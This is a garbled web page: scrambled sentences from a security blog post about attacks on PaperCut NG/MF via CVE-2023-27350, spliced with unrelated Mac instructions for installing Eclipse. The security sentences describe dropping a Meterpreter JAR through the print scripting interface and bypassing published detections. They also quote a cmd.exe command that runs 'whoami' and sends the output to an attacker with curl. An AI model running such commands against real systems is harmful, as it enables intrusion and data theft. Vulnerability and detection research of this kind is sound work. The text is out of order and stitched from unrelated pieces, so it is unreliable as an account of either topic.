![]() ![]() The Java-focused exploitation is useful because PaperCut NG and MF support Linux, Mac, and Windows. The loaded class will eventually drop a Meterpreter JAR to disk and execute it. Instead, it uses to load a remote Java class. The previously mentioned Metasploit module is interesting. The attacker cannot maintain execution in the engine itself they have to migrate to another process. Perhaps the main reason they didn’t establish a reverse shell is because the scripting engine has a five second timeout (see decompiled code below). exec ( 'cmd.exe /C \" for /F \" usebackq delims= \" %A in (`whoami`) do curl \" ' ) Horizon3.ai’s exploit uses the scripting interface to execute a single Windows command ( whoami) and sends the response back to the attacker via curl:. PaperCut Software implemented configuration options to lessen the risk of this arbitrary code execution vector, but since the attacker has full administrative access, those protections are easily disabled. The JavaScript engine is Rhino, which also allows that user to execute arbitrary Java. In both cases, the attacker abuses the system’s built-in JavaScript interface. Exploits that use the print scripting interface to drop a malicious JAR (see this Metasploit pull request). ![]() Exploits that use the PaperCut print scripting interface to execute Windows commands (variations on the Horizon3.ai exploit).Microsoft attributes attacks in mid-April to TA505.Īt the time of writing, two public exploit variants use CVE-2023-27350 and execute arbitrary code on PaperCut NG and MF: In this blog, we detail one such path and show how an attacker can avoid existing detections based on the defender's incorrect assumptions.īefore diving into the new code execution path, let’s look at the history of this vulnerability and survey the current exploits and detections that the security community has published. How did this happen? PaperCut NG and MF offer multiple paths to code execution. However, VulnCheck researchers have found a proof-of-concept exploit that bypasses all published detections from Huntress, Horizon3.ai, Emerging Threats and Microsoft. Multiple security organizations have published exploit detections and indicators of compromise that assume attackers are executing code through PaperCut’s built-in scripting interface. The exploited vulnerability would later be assigned CVE-2023-27350. In mid-April, attackers began exploiting a vulnerability in PaperCut NG and MF. If you're asked whether you want to open it, of course you do click Open.Since attackers learn from defenders' public detections, it's the defenders’ responsibility to produce robust detections that aren’t easily bypassed. You'll see an item named Eclipse if you like, drag its icon into the dock so that you'll be able to launch Eclipse easily. Open your Applications folder, and then open the eclipse folder. If you don't see Applications, then open a new window for Applications (from the Finder, command-shift-A), and drag the eclipse folder into Applications. When you open your Downloads folder, if you see Applications under the Favorites on the left side of the window, you should drag the eclipse folder into Applications. When that's done, you should see a folder named eclipse in your Downloads folder. You should not feel compelled to donate.Īfter the download completes, folders should automatically expand. If asked, click on "Open with Archive Utility (default)" and then click OK. ![]()
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